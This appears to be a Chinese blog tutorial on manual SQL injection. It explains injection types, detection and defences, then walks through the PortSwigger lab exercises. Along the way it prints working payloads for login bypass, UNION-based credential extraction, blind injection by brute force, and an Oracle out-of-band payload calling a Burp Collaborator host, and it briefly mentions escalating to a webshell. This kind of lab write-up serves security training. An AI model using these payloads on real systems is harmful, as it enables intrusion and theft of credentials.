- 什么是SQL注入
- SQL注入会发生在哪些地方
- SQL注入的类型有哪些
- SQL注入点如何探测
- SQL注入的一般步骤
- SQL注入的防御
- 在SQL注入前需要了解的
-
靶场训练 portswigger labs
- WHERE子句中存在允许检索隐藏数据
- 允许绕过登录
- 在Oracle上查询数据库类型和版本
- 在MySQL和Microsoft上查询数据库类型和版本
- 列出非oracle数据库上的数据库内容
- 列出Oracle上的数据库内容
- 确定查询返回的列数
- 查找包含文本的列
- 从其他表中检索数据
- 在单列中获取多个值
- 带有条件响应的盲注
- 带有条件错误的盲注
- 基于报错的SQL注入
- 时间延时盲注
- 具有时间延迟和信息检索的盲注
- 带外交互的盲入
什么是SQL注入
SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。
两个条件:
- 参数用户可控:用户能够控制数据的输入
- 构造的参数可带入数据库并且被执行:原本要执行的sql语句拼接了用户的输入
SQL注入会发生在哪些地方
以下是一些常见的SQL注入发生地点:
-
用户输入:这是最常见的SQL注入来源,包括一些表单字段如登录表单、搜索框、注册表单等。
-
URL参数:通过修改URL的查询参数,攻击者可以尝试对数据库进行注入攻击。
-
Cookie:Web应用程序会使用Cookie来存储用户会话信息,就可能被用来执行SQL注入。
-
HTTP头部:有些Web应用程序可能会根据HTTP请求头部字段(如User-Agent、Referer等)中的信息来构建SQL查询。
-
XML输入:有些Web应用程序会使用XML或其他进行数据交换,如果没有正确处理输入数据,就可能被用来执行SQL注入。
SQL注入的类型有哪些
按照数据类型来分类:
- 数字型注入
类似结构http://xxx.com/xxx.php?id=1
这种形式,参数id
类型为数字。
这一类的SQL语句原型大概为select * from table_name where id=1
,如果存在注入,可以构造出类似下面的sql注入语句进行注入:
select * from table_name where id=1 or 1=1
- 字符型注入
类似结构http://xxx.com/xxx.php?name=admin
这种形式,参数name
类型为字符类型。
这一类的SQL语句原型大概为select * from table_name where name='admin'
,这里相比于数字型注入的sql语句多了引号,可以是单引号或者是双引号,可以构造出类似下面的sql注入语句进行注入:将后引号闭合
select * from table_name where name='admin' or 1=1'
按照数据提交的方式来分类:
- GET 注入
使用GET方式提交数据,注入点的位置在GET参数部分。
- POST 注入
使用POST方式提交数据,注入点位置在POST数据部分。
- Cookie 注入
HTTP请求的时候会带上客户端的Cookie, 注入点位置在Cookie当中的某个字段中。
- HTTP 头部注入
注入点在HTTP请求头部的某个字段中,例如Referrer字段。(严格的讲,Cookie其实应该也是算头部注入的一种形式)
按照执行效果来分类:
- 基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注
即用条件语句查看时间延迟语句是否执行(即页面返回时间是否延长)来判断。
- 基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入
可以使用union查询的情况下的注入。
- 堆查询注入
可以同时执行多条语句的执行时的注入。
- 宽字节注入
数据库编码与php编码设置为不同的两个编码,这样就可能会产生宽字节注入。
SQL注入点如何探测
在输入字段中尝试输入特殊的SQL字符,如果应用程序返回了数据库错误信息,或者异常,可能就意味着存在SQL注入漏洞。
只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:
-
先加单引号
'
或双引号"
等看是否报错,如果报错就有可能存在SQL注入漏洞。 -
另外在URL后面加
and 1=1
、and 1=2
看页面是否显示一致,显示不一致的话,肯定存在SQL注入漏洞。 -
还有就是利用盲注,通过观察数据库响应时间或者不同响应来推断查询的真假。
SQL注入的一般步骤
1. 注入点探测
- 可控参数的改变是否可以影响页面的显示结果
- 输入的sql语句能报错:通过数据库的报错,看到数据库的一些语句痕迹
- 输入的sql语句不报错:语句能够成功闭合
2. 信息获取
- 环境信息:数据库类型、数据库版本、操作性系统版本、用户信息等
- 数据库信息:数据库名、数据库表、字段、字段内容
3. 权限获取
- 编写webshell,上传木马,获取操作系统权限
SQL注入的防御
1. 采用预编译技术
例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用预编译的SQL语句,SQL语句的语义是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给?
,然后将?
这个变量传给SQL语句。
2. 严格控制数据类型
强类型语言一般是不会存在数字型注入,因为在接受到用户输入id时,代码会做数据类型转换。但是没有强调处理数据类型的语言,一接收id的代码可能会是这样:
$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";
加入一个检查数字类型函数,php中的is_numeric()
就可以有些防止数字型注入。
3. 对特殊的字符进行转义
在MySQL中对引号" '
进行转义,这样可以防止一些恶意攻击者来闭合语句。
4. 使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。(尽量避免在存储过程内使用动态的sql语句)
在SQL注入前需要了解的
查询数据库以确定其类型和版本
主流数据库提供如下方式来确定数据库版本:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
列出数据库的内容
查看数据库中都有哪些表:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft/PostgreSQL | SELECT * FROM information_schema.tables |
Oracle | SELECT * FROM all_tables |
查看这个表都有哪些列:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft/PostgreSQL | SELECT * FROM information_schema.columns WHERE table_name = '表名' |
Oracle | SELECT * FROM all_tab_columns WHERE table_name = '表名' |
SQL语句的注释
注释可以用来截断查询,并去掉原始查询中输入之后的部分
数据库 | 单行注释 |
---|---|
MySQL/Microsoft/PostgreSQL | -- |
MySQL | #( -- 两个短横线后必须有空格,可以写成--+) |
字符串拼接
可以将多个字符串连接在一起形成一个字符串:
数据库 | 方式 |
---|---|
MySQL | concat('str1','str2') |
Microsoft | 'str1'+'str2' |
Oracle/PostgreSQL | 'str1'||'str2' |
取子字符串
取字符串的一部分,偏移索引是从1开始的,一下结果都为字符a:
数据库 | 函数 |
---|---|
Oracle | SUBSTR('abc',1,1) |
Microsoft/PostgreSQL/MySQL | SUBSTRING('abc',1,1) |
关于MySQL数据库
字段 | 含义 |
---|---|
information_schema.tables | 包含了数据库里所有的表 |
table_name | 表名 |
table_schema | 数据库名 |
column_name | 字段名 |
更多参考:SQL injection cheat sheet
靶场训练 portswigger labs
地址:All labs | Web Security Academy (portswigger.net)
工具:火狐浏览器配合Hackbar,Burp Suite
WHERE子句中存在允许检索隐藏数据
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
提示当用户选择一个类别时,应用程序执行如下SQL查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
category参数可以被注入,这是一个字符型注入,尝试' or 1=1 --
,注入成功。
'
闭合了引号,or 1=1
使where子句成立,--
注释限制了released = 1
,注入后的SQL查询:
SELECT * FROM products WHERE category = '' or 1=1 -- ' AND released = 1
即从products表中查询所有数据。
允许绕过登录
SQL injection vulnerability allowing login bypass
这是SQL注入漏洞中的一个经典问题,“万能用户名”,无论密码填什么或者不填都可以成功登录。
和上一题的套路类似,输入用户名和密码,程序可能执行如下SQL查询:
SELECT * FROM 用户表 WHERE username = '用户名' AND password = '密码'
如果在输入用户名的地方输入' or 1=1 --
,where子句中的 1=1
会使查询条件成立,--
注释掉后面的密码,就可以绕过登录了。
在Oracle上查询数据库类型和版本
SQL injection attack, querying the database type and version on Oracle
Oracle查询数据库版本:SELECT banner FROM v$version;
仍然是注入category这个参数,首先通过 order by
来判断数据库表有几列,试到第三列的时候出错了,说明只有两列。
接下来尝试使用union联合查询来判断前两列的回显情况,在Oracle数据库中,每条select语句都必须指定一个表进行选择。如果union select不从表中进行查询,仍然需要使用from关键字和有效的表名。(Oracle上有一个内置的表叫做dual)
select的两列都是字符串,select查询数字会出错。
' union select 'aaaaaaaaa','bbbbbbbbbbbbbbb' from dual --
在有回显的地方替换一下,' union select banner,'bbbbbbbbbbbbbbb' from v$version --
在MySQL和Microsoft上查询数据库类型和版本
SQL injection attack, querying the database type and version on MySQL and Microsoft
MySQL和Microsoft上查询数据库版本:SELECT @@version;
依然是通过 order by
判断出数据库表有只有两列,然后使用union查询判断前两列的回显情况。MySQL数据库和Oracle数据库不同的是使用union查询无需指定表,所以' union select @@version,null --
即可。
列出非oracle数据库上的数据库内容
SQL injection attack, listing the database contents on non-Oracle databases
依然是通过 order by
判断出数据库表有只有两列,然后使用union查询判断前两列的回显情况。
接下来就需要判断是哪种数据库了,使用' union select version(),null--
注入成功,探测到数据库为PostgreSQL 。
尝试查询数据库有哪些表,和MySQL数据库的查询方式一致 ' union select table_name,null from information_schema.tables --
搜索发现存在用户表users_esuztu,继续查询users_esuztu有哪几列,' union select column_name,null from information_schema.columns where table_name='users_esuztu'--
拿到用户名和密码两列,然后从users_esuztu表查询用户名和密码,拿到密码后登录。
列出Oracle上的数据库内容
PRACTITIONER SQL injection attack, listing the database contents on Oracle
Oracle数据库有所不同,union查询时强制需要加表,可以使用默认表 from dual
。
判单有两列和回显情况后,尝试查询数据库有哪些表, Oracle的数据表是 all_tables
,表的字段名是TABLE_NAME
。
查询' union select TABLE_NAME,null from all_tables --
,然后从页面搜索发现存在用户表USERS_NNWUHA,继续探测有哪几列,表的字段名是COLUMN_NAME
,构造查询' union select COLUMN_NAME,null from all_tab_columns where table_name = 'USERS_NNWUHA' --
拿到用户名和密码两列,然后从USERS_NNWUHA表查询用户名和密码,拿到密码后登录。
确定查询返回的列数
SQL injection UNION attack, determining the number of columns returned by the query
有两种判断返回的列数的方法:可以用order by
和union
-
输入
' order by 1--
,' order by 2--
,' order by 3--
,网站正常显示,直到输入了' order by 4--
,服务器抛出了一个错误,这表明试图排序的列不存在,也就是说只有3列。 -
输入
' union select null--
,' union select null,null--
,服务器都返回了一个错误,这表明不只有一两列存在,' union select null,null,null--
网站正常显示,这说明是有三列数据存在。
查找包含文本的列
SQL injection UNION attack, finding a column containing text
即找到哪一列的数据类型是字符串,枚举order by
得知总共有3列数据存在。
然后查询union select 'a',null,null--
参数中替换字符串数据借以得知与哪列相匹配,错误的话,说明不是字符串类型的,成功说明数据类型是字符串。
所以可以在判断完有几列后,直接一上来就两列都改成字母测试(null会自动换位为任意的数据类型)。
判断出第二列回显字符串,最后最后替换文中所给的字符串即可成功。
从其他表中检索数据
SQL injection UNION attack, retrieving data from other tables
本题提示,数据库中还有另一张表名为users,其中包含username和password列。
判断出注入点,union查询判断出两列并且都回显,直接可以查询users表中的用户名和密码' union select username,password from users --
然后点击账户输入拿到的密码登录成功。
在单列中获取多个值
SQL injection UNION attack, retrieving multiple values in a single column
本题提示,数据库中还有另一张表名为users,其中包含username和password列。
判断出注入点,union查询判断出两列,但是只有第二列回显' union select null,'aaa' --
,那么可以借助这一列的回显,分别查询用户名和密码。
分别查询有一点繁琐,我们可以将用户名和密码拼接在一起,一同从这一列查询出来。
先来判断一下是哪一种数据库,查询' union select null,@@version--
失败,排除MySQL和Microsoft的数据库;查询' union select null,version()--
成功,说明是PostgreSQL数据库。
单个列中检索需要字符串的连接,PostgreSQL的连接为||
,我们想将用户名和密码通过@
分割,可以这样查询' union select null,username || '@' || password from users--
,拿到密码后登录。
带有条件响应的盲注
Blind SQL injection with conditional responses
当程序响应不包含相关SQL查询的结果,或任何数据库错误的信息信息时,就称为盲注。
UNION查询对于盲注是无效的,因为它依赖于在响应中看到注入查询的结果。
本题提示,应用程序使用跟踪cookie进行分析,并执行包含提交的cookie值的SQL查询。如果查询返回任何行,应用程序会在页面中包含一条“Welcome back!”消息。
使用burp抓一个包来看看,看到一个TrackingId,根据提示,这个cookie值会SQL查询,尝试注入这个cookie值' and 1=1 --
,出现了“Welcome back!”,说明查询为真,查询条件为真。
现在尝试注入' and 1=2 --
,因为注入的条件为假,没有出现“Welcome back!”。
根据注入条件的真假,页面就有不同的反馈,这就有利用价值了。能够确定每次单个注入条件的正确与否,一点一点猜。
题目已知有一个名为users的表,有username,password两列,以及一个名为 administrator的用户,可以尝试判断出用户的密码的长度。
这样直接在length()函数中select password的方式' and length(select password from users where username='administrator') > 1 --
不可取。
这是官方提供的注入方式:' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
只需要每次改变length大于的长度就可以枚举出来,使用burp的intruder模块可以实现快速的爆破。
将每次需要改的长度设为变量。
将payload类型选为数字,从1到100,步长为1。
结果显示当payload为20时,数据包的length发生了改变,说明页面发生变化,可以确定密码的长度为20。
现在要确定每一位的字符是具体是什么,用到一个函数,SUBSTRING(password,m,n)
,password是字段名,m是检索的起始位置,n是数量。
尝试注入' and (select SUBSTRING(password,1,1) from users where username='administrator')='a'--
意为判断password的从1位置开始的一个字符是什么,即第一个字符。依然使用intruder模块,因为需要爆破的位置有两个,选择Cluster bomb模式,对位置和该对应位置的字符同时爆破,是两个字典的笛卡尔积遍历,请求数据包的数量会较多。
第一个参数是字符的位置,所以将payload类型选为数字,从1到20,步长为1。
第二个参数是该对应位置的字符,可能是a-z,A-Z,0-9,可以点击Add from list选择payload。
attack后,使用Filter过滤“Welcome back”,就刚好得到20个包,对payload1从小到大排序后,payload2自上而下对应的就是密码。
登录成功!
带有条件错误的盲注
Blind SQL injection with conditional errors
根据题目提示,和上一题类似,如果SQL查询导致错误,则应用程序返回自定义错误消息。
仍然是从cookie入手,加上一个单引号'
,服务器返回500错误,可能是SQL语句引号没有闭合,出现错误。
现在使引号可以闭合,但查询条件错误' and 1=2 --
,服务器是会返回200正常,所以有理由怀疑,只有语法错误才会使服务器返回500错误。
不会做了,来看看官方的解法:
You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax.
尝试提交:TrackingId=xyz'||(SELECT '')||'
||
可以将字符串连接起来,'||(SELECT '')||'
这看起来也是一个错误的语法(不太懂)。
官方指出:In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query
查询一个特殊的表:TrackingId=xyz'||(SELECT '' FROM dual)||'
,服务器返回200正常。
这表明使用的是Oracle数据库,这个查询看起来似乎是可用的。
现在来查询一个不存在表来试一试,服务器返回500错误,这证明服务器可以返回查询结果的真和假了。那么现在可以根据Oracle数据库语法来进行盲注了。
不同数据库,测试单个布尔条件并在条件为真时触发数据库错误。
根据题目来判断密码的长度'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator' )||'
其中的CASE表达式可以在SQL中实现if-then-else的逻辑判断:
case
when 判断语句 then 返回
else 返回
end
条件是密码长度大于1,返回to_char(1/0),但1/0会出错。所以只要返回错误,就说明密码长度大于1的条件是正确的。
case
when length(password)>1 then to_char(1/0)
else ''
end
现在返回500错误,所以说密码长度大于1的条件是正确。接下来就使用burp的intruder模块爆破密码长度。
和上一题类似,标记变量,选择payload,开始爆破。然后发现密码长度为20。
最后确认密码,同样是使用SUBSTR()函数从密码中提取单个字符'||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||'
依然是爆破两个变量,分别标记变量后,选择payload,开始爆破。从结果中过滤出出返回状态码为5xx的,刚好20个,就是我们想要的密码了。
难点在于要判断出是何种数据库,不同的数据库注入的方法都是不同的。
官方教程:Lab: Blind SQL injection with conditional errors
基于报错的SQL注入
Visible error-based SQL injection
根据题目提示,还是从cookie入手,加一个'
,可以看到详细报错信息,加上注释' --
,页面正常恢复正常。。
尝试爆出更多的错误,可以考虑一些函数的报错,参照题解,本题是CAST()函数。
CAST函数时PostgreSQL数据库可以用于将某种数据类型的表达式显式转换为另一种数据类型。
CAST (expression AS data_type)
expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
利用CAST继续尝试构造and 1=cast((select 1) as int) --
,数字类型等于数字类型,没有报错。
尝试查询非数字类型转换为数字类型是否会报错' and 1=cast((select 'aaaaaa') as int)--
,这里报错显示了我们select查询的内容,可以开始利用了。
尝试查询users表中的数据' and 1=cast((select username from users) as int)--
,报错显示返回的数据超过一行。
尝试限制查询一行' and 1=cast((select username from users limit 1) as int)--
,爆出了一个用户名,恰好是admin用户。
尝试利用这种方式爆出users表中admin用户的密码。
这是一种基于CAST函数的报错注入。
时间延时盲注
Blind SQL injection with time delays
不同数据库的延时函数:
根据前几题的经验可能是PostgreSQL数据库,反复尝试'||pg_sleep(10)--
,确定延时大概10秒。
burp放包了以后,解题成功。
具有时间延迟和信息检索的盲注
Blind SQL injection with time delays and information retrieval
还是从cookie入手,盲猜依旧是PostgreSQL数据库时间延时盲注'||pg_sleep(10)--
。
依旧是延时10秒钟,所以可以构造CASE表达式,根据延时结果来判断查询结果是否正确。
判断密码的长度'; select case when(username='administrator' and length(password)>20) then pg_sleep(10) else pg_sleep(0) end from users --
采用burp的intruder模块,由于延时盲注的数据包大小都是一致的,所以看包的请求时间Response received,当length大于20时,请求时间只要200ms,说明when条件出错,所以判断出密码长度为20.
判断密码的每个字符'; select case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(0) end from user --
依然采用burp的intruder模块,爆破两个变量,分别标记变量后,选择payload,开始爆破。然后对结果对请求时间排序,可以看到20个请求时间大于5000ms的包,就可以得出密码。
burp延时盲注耗时会长一些,具体过程和之前几乎一样。
带外交互的盲入
Blind SQL injection with out-of-band interaction
题目提示,可以与外部域触发带外交互,利用SQL注入漏洞并导致DNS查询。
这里需要引入一个新的概念:带外应用安全测试(OAST),OSAT是使用外部服务器来帮助我们来查看无回显的漏洞。
通常我们在整个测试过程中,是在一个单条通信的通道,中间没有其外部的服务器参与,只有自己和目标服务器,这种称为“带内攻击(in-band attack)”。如果需要使用外部的独立服务器参与,也就是带入了外部的服务器,我们叫它“带外攻击(out-band attack)”。
外带攻击过程如上图,攻击者发出payload的请求后并不会直接返回,而是携带着payload执行后的响应与攻击者的带外服务器产生了交互。攻击者监视外带服务器与目标服务器的交互信息,从而发现漏洞。
本题使用Burp Collaborator作为外带服务器。
Burp Collaborator的工作原理:生成唯一的域名,将它们以有效payload的形式发送到目标应用程序,并监视与这些域的任何交互。 如果观察到来自应用程序的传入请求,那么就可以检测到对应的漏洞。
首先准备一个外带服务器,Burp右键选择Burp Collaborator client,点击Copy to clipborad拿到外带服务器的域名,类似这样e2h5doyf212aqmcx5om2kgbe75dv1k.burpcollaborator.net
外带服务器准备还好后尝试注入,参照cheat sheet
提供了多种用于DNS查找的payload,尝试几种之后,确定是Oracle数据库,所以采用的payload为' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://e2h5doyf212aqmcx5om2kgbe75dv1k.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual --
这是一个XXE触发的DNS查找漏洞,这个extractvalue函数是一个对xml文件进行查询的函数,它是会从目标xml文件中返回所包含查询值的字符串。
Burp Collaborator看到了DNS查找的外带数据。
参考链接:
SQL注入备忘单 SQL injection cheat sheet
SQL injection cheat sheet
PortSwigger Web Security Academy lab SQL注入
portswigger labs sql注入之探测数据库信息
portswigger lab Blind SQL injection sql盲注文章来源:https://www.toymoban.com/news/detail-837682.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ文章来源地址https://www.toymoban.com/news/detail-837682.html
到了这里,关于SQL注入 - 手工注入 portswigger 练习的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!